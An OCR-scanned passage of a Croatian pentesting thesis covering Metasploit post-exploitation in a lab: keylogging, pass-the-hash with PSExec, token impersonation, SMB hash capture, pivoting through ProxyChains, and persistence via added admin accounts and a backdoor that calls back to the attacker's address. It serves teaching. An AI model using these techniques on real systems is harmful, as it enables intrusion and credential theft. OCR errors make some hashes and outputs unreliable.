D\Voampp\phphPEAR \Zend\Form\Element \Password. php (2383 bytes)
s\wxampp\php\PEAR\Zend\WVisw\Helper\FormPassword.php (2942 bytes)

(sl el sl sl al

Slika 63. Koristenje naredbe search -f *password*&°

Jos jedan dobar nacin prikupljanja osjetljivih informacija je koriStenje keyloggera koji slusa
za svako utipkano slovo (keystroke) od strane korisnika. Naredba za keylogger kod
Windows xp sustava je keyscan_start. Dobra ideja je migrirati se u winlogon proces, gdje
Ce se vidjeti samo upisane podatke za prijavu. Kada korisnik nesto tipka na sustavu npr.
tekst “hi georgia“, moze se koristiti naredba keyscan_dump kako bi se vidio taj sadrzaj sa
stajalista napadaca (slika br.64). Kako bi se zaustavio keylogger koristi se naredba

keyscan_stop.

meterpreter » keyscan_dump
Dumping captured keystrokes...
<LWins notepad.exe <Returns hi georgia <Return:

Slika 64. Prikaz koristenja keyloggera kod iskori$tenog sustava®’
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11.5 Daljnje moguénosti prikupljanja kredencijala

Metasploit ima nekoliko post modula za prikupljanje “propusta“ za odredeni
softver na putu/usr/share/metasploit-framework/modules/post/Windows/
gather/credentials. Koriste¢i razne module, mogu se dobiti vrijedne informacije, ali jedna
od zanimljivih opcija koju valja probati je net komanda za Windowse. Komandom shell u
Kali Linuxu moze se prebaciti na komandni shell za Windows. Komanda net users
prikazat ¢e sve lokalne korisnike Windows sustava. Mogu se takoder vidjeti kojoj grupi
pripadaju korisnici (npr. tko su administratori) sa komandom  net localgroup

Administrators.

11.6 “Lateralno kretanje”

Nakon Sto se dobije pristup jednom sustavu u umreZzenom okruzenju, moze se
koristiti pristup za dodatnim sustavima i njihovim osjetljivim podacima. Ako je iskoriSteni
sustav ¢lan domene, zasigurno se moze pokusati ugroziti racun domene ili idealno dobiti
pristup administratoru domene kako bi se moglo prijaviti i upravljati svim sustavima na
domeni. LakSe objasnjenje bilo bi to ako se moze razbiti lozinku za jedan stroj, mozda

¢e se moci prijaviti na mnoge sustave u okruzenju bez pristupa domeni.

11.6.1 PSExec

PSExec tehnika prenosi izvrsnu Windows uslugu na ADMIN $ “djeljenja“ i zatim
se povezuje s upraviteliem servisa Windows Service pomocu udaljenog postupka poziva
(RPC) kako bi pokrenuo izvrSnu uslugu. Usluga zatim postavlja SMB cijev (pipe) s
imenom za slanje naredbi i daljinsko upravljanje ciljnim sustavom. Metasploit modul
exploit/Windows/smb/psexec obavlja sli€nu funkciju, a jedini uvjet je da Zzrtva ima
instaliran SMB server. Kod koriStenja tog exploita moze se specificirati SMBPass
(korisniCka lozinka) i SMBUser (korisni¢ko ime za autentifikaciju). Taj modul ¢e umetnuti
payload u izvrSnu sliku za Windows uslugu. Nakon prijenosa izvr§ne datoteke i kontakta
s Windows Service Control Manager-om, servis kopira shellkod u izvrSnu memoriju za

proces usluge i preusmjerava izvrSenje na payload (za vracanje na sustav napadaca).
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11.6.2 Prosljedivanje hash-a

Ako pentester nije u stanju preokrenuti hash zaporke, imat Ce tezak zadatak
prijave u druge sustave s plaintext kredencijalima. Kad se napadac prijavi preko SMB-a,
njegova lozinka ne Salje se ciljnom sustavu u otvorenom tekstu. Umjesto toga, ciljni
sustav postavlja izazov na koji mozZe odgovoriti samo osoba s tochom lozinkom. U ovom
slu¢aju (za Windows xp), odgovor na izazov je LM- ili NTLM lozinka, ovisno o provedbi
hasha. Na taj na¢in PSExec-ova opcija za lozinku moZze biti sami hash. Npr. kad se dobije
hash za Zrtvin sustav sa komandom hashdump moze se upisati hash u PSExec opciju

SMBPass (slika ispod) i dobit ¢e se Zeljene sesije.

msf exploit{psexec) > set SMBPass eS2cac6741929a3224a3b108F3Fabched: BB46FTeaceBfb117ado6bddB30bT586c
SMBPass =» e52cachid19%a%9a224aibi08¥3fabched :8846F Teacel fb117adobbddBoby586C
msf exploit{psexec) » exploit

snip
[*] Meterpreter session 7 opened (192.168.20.9:4444 -> 192.168.20.10:1233) at 2015-08B-14 14:17:47
0400

Slika 65. Dobivanje sesije sa psexec-om??

11.6.3 Oponasanje tokena

Jedna zanimljiva sigurnosna konstrukcija sustava Windows je koncept tokena.
Tokeni se primarno koriste za kontrolu pristupa. Na temelju obiljezja procesa, operativni
sustav moze donositi odluke o tome koji resursi i operacije mu trebaju biti dostupni.
Koristenjem tokena moze se izbjeéi potreba za Siframa u otvorenom obliku ili €ak hasha.
Token se ponaSa kao vrsta privremenog kljua koja omogucava pristup odredenim
resursima bez potrebe za uno$enjem zaporke svaki put kada se Zeli izvrsiti privilegirana
operacija. Vazno je poznavati pojam “tokeni za delegiranje® koji omogucuju procesu
oponasanje tokena na lokalnom sustavu kao i na mrezi, na primjer, na drugim sustavima
u domeni, a koriste kredencijale za autentifikaciju. Tokeni ostaju do ponovnog pokretanja,
pa ¢ak i ako se korisnik odjavi, njegov ili njezin token ¢e i dalje biti prisutan u sustavu dok

se ne iskljuci.
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11.6.4 Incognito

Incognito pomaZze da se nabroji i ukradu svi tokeni na sustavu. Incognito nije
ukljuen u meterpreter automatski nego ga se uklju€uje naredbom load incognito. Prije
koriStenja incognita moze se promjeniti korisnik na zrtvinom sustavu radi demonstracije.
Ova prijava stvorit ¢e delegirajuci token na ciljnom sustavu kako bi ga napada¢ mogao

oponasati. Kako bi se vidjeli svi tokeni koristi se naredba list_tokens -u (slika ispod).

meterpreter » list tokens -u

Delegation Tokens Available

BOOKXP\georgia

BOOKXPYsecret

NT AUTHORITYSLOCAL SERVICE
NT AUTHORITYMMETWORK SERVICE
NT AUTHORITYAWSYSTEM

Slika 66. Lista tokena na sustavu Zrtve83

Kada se pokuSa npr. ukrasti token za korisnika “secret” koristi se naredba

impersonate_token<token ciljnog sustava> (slika ispod).

meterpreter » impersonate token BOOKXPY\secret
[+] Delegation token available
[+] Successfully impersonated user BOOKXPh\secret

Slika 67. Prikaz krade tokena®*

y

Na kraju se kao i prije naredbom getuid moze vidjeti kojeg korisnika je napadac “pridobio”.

-'Erﬁ[’pfﬂfﬁ’[' * gﬂllld
Server username: BODKNPAsecret

Slika 68. Getuid naredba8®
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11.6.5 SMB capture

Ovaj modul pruza SMB uslugu koja se moZe upotrijebiti za hvatanje hash-ova
lozinke i odgovora na izazov za SMB klijentske sustave. Odgovori koje je poslala ova
usluga imaju po defaultu podesivi niz izazova (\ x11 \ x22 \ x33 \ x44 \ x55 \ x66 \ x77 \
x88), Sto omogucuje jednostavno deSifriranje pomocu alata kao Sto su Cain & Abel,
LOphtcrack ili Johna Ripper. Hash lozinke za korisnike domene pohranjuju se samo na
kontroler domeni, Sto znaci da ¢e pokretanje hashdump-a na eksploatiranom sustavu dati
hash lozinku samo za lokalne korisnike. Nacin na koji se moze dobit pristup kontroler
domeni je preko davanja hasha na SMB server. Za to se koristi modul auxiliary/
server/capture/smb koji Ce postaviti SMB server i dohvatiti svaki pokusaj autentifikacije.
Posto je pomocu incognito nacina bilo mogucée “preuzeti“ korisnika “secret* moze se
spustiti u njegov shell i sa naredbom net use povezati sa nekim djeljenim direktorijem (u
ovom slu€aju direktorij “blah®) postavljenom na Kali SMB serveru $to je prikazano na slici
br. 69.

meterpreter » shell
C:\Documents and Settings\secretynet use \\192.168.20.9\blah

Slika 69. Povezivanje na djeljeni direktorij®®

Kada se preko iskoriStenog sustava komunicira sa postavljenim SMB serverom, dobiveni
hash biti ¢e mozda drugacijeg tipa, ali svejedno ovo je koristan trik za hvatanje hash-ova
lozinki za rad s korisniCkim racunima domena, koji svoje hashe lozinke pohranjuju samo

na kontrolere domena.

11.7 Pivotiranje

Organizacija obi¢no ima samo nekoliko sustava na internetu, a to su hosting
usluge koje trebaju biti dostupne na Internetu, poput web posluzitelja, e-poste, VPN-a i
tako dalje. Takoder organizacije mogu imati podjeljene dijelove mreze po poslovnim
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jedinicima. U simulaciji takvog napada (gdje je mreza podijeljena) kod virtualne masine
odabere se jo$ jedan internetski adapter tipa host-only network. Znac¢i Windows 7 sustav
moze pripadati 2 mreze, npr. mrezi 192.168.20.0/24 kojoj Kali Linux ima pristup, te
172.16.85.0/24 mrezi kojoj nema. Posto je u prethodnim fazama iskoristen sustav
Windows 7, on se moze koristiti kao premosnica na drugu mrezu (172.16.85.0). Naredba
route u Metasploitu govori Metasploitu gdje treba uputiti promet. Umjesto usmjeravanja
prometa na IP adresu, promet se mozZe usmijeriti prema drugoj mrezi (172.16.85.0) kroz
otvorenu Windows sesiju (slika br.70). Sintaksa za route naredbu je route

<mrezZa><subnet maska><ID sesije>.

msf » route add 172.16.85.0 255.255.255.0 2

Slika 70. Koristenje route naredbe®’

Na nacin prikazan gore svaki promet koji se poSalje iz Metasploita u mrezu 172.16.85.0

Ce se automatski preusmijeriti kroz Windows 7.

11.7.1 Metasploit skeniranje portova

U Metasploit route naredbi ne€e se moci koristiti vanjski alati za skeniranje
portova kao sto je Nmap, ali postoji Metasploit modul scanner/portscan/tcp koji ¢e izvesti
TCP port skeniranje, a po defaultu ¢e skenirati 1-10000 portova (naravno broj portova se
mozZze i manualno odrediti). Kada se provedu ove opcije prikazane na slici ispod dobit ¢e

se uvid da je SMB port otvoren.

msf auxiliary(tcp) » set RHOSTS 172.16.85.190
rhosts =» 172.16.85.190

msf  auxiliary(tcp) » expleit

[*] 172.16.85.190:25 - TCP OPEN

[*] 172.126.85.190:80 - TCP OPEN

[*] 172.16.85.100:139 - TCF OPEN

[*] 172.16.85.100:135 - TCP OPEN

[*] 172.16.85.100:180 - TCP OPEM

Slika 71. Prikaz rada Metasploit modula scanner/portscan/tcp®
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11.7.2 Koristenje exploita kroz pivot
U slucaju pivotiranja host-only, mreza ne zna kako se kretati do premoScene
mreze, pa zato povratni (eng. Reverse) payload nece valjati. Umjesto reverse payloada

u tom slucaju, koristi se bind payload npr. Windows/meterpreter/bind_tcp.

11.7.3 Socks4 i Proxy lanci

U svim dosadasnjim sluajevima pentester je bio limitiran na koristenje
Metasploit modula. Osim toga postoji alat ProxyChains (koji premoScuje promet na proxy
servere) i Salje promet iz ostalih Kali alata kroz Metasploit. Metasploit takoder ima modul
Socks4a proxy server (auxiliary/server/socks4a). Kada se odabere taj modul i sve
potrebne njegove opcije (koje se mogu ostavit default) potrebno je editirati konfiguracijsku
datoteku za ProxyChains na putu /etc/ proxychains.conf. U toj datoteci se skrola do
mjesta prikazano na slici br.72.a) $to prikazuje kako ProxyChains premoscuje promet do
Tor mreze. Na tom mjestu potrebno je zamjeniti port na kojem slusa Metasploit sa porta

9050 (Tor), na port 1080 (slika br.72.b).

# add proxy here ...
# defaults set to “tor”®
socksd  127.0.0.1 9050 socksd  127.0.0.1 1080

Slika 72.a. Zadane opcije za ProxyChains®® Slika 72.b. Potrebne izmjene datoteke®

Kada se prethodna datoteka spremi moZe se upaliti alat kao Sto je Nmap izvan
Metasploita protiv cilja Windows XP (sve dok ProxyChain sluzi za posredovanje potrebno
je imati i komandu route aktivnhu zato $to ProxyChain preusmjerava promet do Metasploita
koji ¢e prosljediti promet kroz pivot). Primjer koriStenja vidi se na slici ispod. Opcija -Pn
govori Nmap-u da ne pokuSava pingirati kroz proxy. ZapocCinje se jednostavnim
skeniranjem TCP konekcije (-sT), a zatim se pokreée skeniranje verzije (-sV). Radi
jednostavnosti, portovi su ograni¢eni na 445 i 446 opcijom -p (posto je proces veoma

spor).
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root@kali:~# proxychains nmap -Pn -sT -sV -p 445,446 172.16.85.190
ProsyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 6.40 ( http://mmap.org ) at 2015-03-25 15:00 EDT
|5-chain|-<»>-127.0.0.1:1080-<><>-172.16.85,190. 165 445 - <> > -0k
|5-chain|-¢>-127.0.0.1:1080- <> <>-172.16.85 . 190:446- ¢ -~denied@
Nmap scan report for 172.16.85.190

Host is wp (0.325 latency).

PORT STATE SERVICE VERSION

445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
446/tep closed ddm-rdb

Service Info: 05: Windows; CPE: cpe:/fo:microsoft ;windows

Slika 73. Koristenje Nmap-a izvan Metasploita®!

Na slici se takoder vidi kako je port 445 otvoren (zato $to na njemu slusa SMB server), a

446 odbijen zato Sto niSta na njemu ne slusa.

11.8 Metode upornosti (eng.Persistance)

Buduci da proces domacina u potpunosti ostaje u memoriji, ako umre, umire i
dobivena sesija Meterpretera i ako se sustav ponovo pokrene, sesije viSe nema. Ako se
izgubi mrezni pristup cilju, sesija takoder moze umrijeti. Metode upornosti mogu biti tako
jednostavne kao dodavanje korisnika u sustav ili napredne poput rootkita na razini kernela

koji se skriva ¢ak i od Windows API-ja $to ga Cini praktiCki neotkrivenim.

11.8.1 Dodavanje korisnika

Biti u mogucnosti izravno se prijaviti u sustav putem SSH, RDP, olakSava pristup
sistemu u buducnosti. Na Windows sustavu moZze se koristiti komanda sintakse : net user
username password /add za dodavanje korisnika. Nadalje kako bi se korisnika dodao u
relevantne grupe koristi se naredba sintakse net localgroup group username /add. Npr.
ako se zeli dodati prethodno kreiranog korisnika “Jamesa“ u grupu administratora koristi
se naredba net localgroup Administrators james /add. Ako klijent ima Windows domenu,
moze se dodati korisnike u domenu i dodati ih u grupe domena (ako postoji dovoljno

privilegija) tako da se na kraju naredbe ukljuci /domain.
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11.8.2 Metasploit upornost

Npr. Meterpreter skripta persistantce automatizira stvaranje Windows straznjih
vrata koja ¢e se automatski povezati s posluziteljem Metasploita pri pokretanju, prijavi, ili
bilo ¢emu &to pentester specificira. Znaci moze postojati agent za trajnost pri pokretanju
sustava ili kad se korisnik prijavi, moZe se postaviti interval izmedu pokusaja povezivanja
s upravljacem. MoZem se promijeniti mjesto gdje je agent upisan u ciljni sustav itd. Kada
se upiSe u meterpreter naredba run persistance -h dobiju se sve opcije. Npr. kada se
postavi zastavica -X (specificira startup), skripta Visual Basic uitava se u mapu%
TEMP%, a u unos registra dodaje se popisu programa koji se pokrecu pri pokretanju.
Kad se uporni agent pokre¢e nakon prijave (-U), postupak je sli¢an, ali unos u registar
postavljen je da se izvodi pri prijavi. Kada se upali persistance skripta sa naredbom run
persistence -r 192.168.20.9 -p 2345 -U i postavi handler za dohvacéanje “upornog agenta®,
mozZze se radi testa upaliti Zrtvnin sustav npr. Windows xp i ulogirat sa nekim korisnikom.

Kada se to dogodi napadac bi trebao dobiti meterpreter sesiju.
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12. ZAKLJUCAK

Cilj ovog rada bio je upoznati se sa pentesting strukom, te problematikom s
kojom se suoCavaju pentesteri prilikom testiranja Windows operacijskih sustava.
Prikazane su razne slabosti za Windows sustave te uobiCajeni eksterni pentesting proces
koji je zapoCeo postavljanjem zrtvinih sustava i instalacijom Kali Linuxa kao alata za
vrSenje pentestinga, te ostalih potrebnih alata. Najprije se krenulo od faze prikupljanja
informacija u kojoj se nastojalo pronaci sve viSe informacija o subjektu nad kojim se
izvrSava testiranje, a postepeno se dolazilo do faze pronalazenja slabosti koje predstavlja
srz pentesting procesa i o kojem ovisi uspjeSnost samog testiranja. Takoder u radu se
Zeljelo prikazati i poznate tehnike za prikupljanje prometa od ciljnih sustava koristeci tzv.
“‘Man-in_the-Middle” napad”, Ciji se promet na kraju analizirao sa alatom Wireshark. Osim
alata Wireshark koristilo se i alat Ettercap kod napada za sigurnosni HTTPS protokol.
Poslije toga dosao je i najdinamicniji dio, a to je iskoriStavanje slabosti Windows sustava.
Kao posljedica pentesting procesa dobivale su se Sifre u raznim oblicima, a cilj je bio i
docarati nacin na koji se mogu krekirati Sifre bilo Sifre u otvorenom tekstu ili u hashu.
Objasnjena su i iskoriStavanja sa strane klijenta, kako bi se prikazao nac¢in upadanja u
sustav kada neki program ne slusa na otvorenom portu. Osim iskoriStavanja slabosti kod
Windows sustava ideja je bila i prikazati proces socijalnog inZenjerstva kako bi se upalo
u sustav raCunajuci na ljudski faktor “neznanja” u pojedinoj struci. Pentesting proces mora
teZiti tome da ne uzrokuje nikakvu sumnju od sustava koji se Zeli testirati, te su za to bile
prikazane razne tehnike izbjegavanja antivirusnih rjeSenja koje bi u odredenoj mijeri
uspjele izbjeci antivirusne programe, odnosno njihovu detekciju svesti na minimum.
Proces je na kraju zavrSio post eksploatacijom koja je pokazala opseg privilegija koje

napadac ima nad iskoristenim sustavom.
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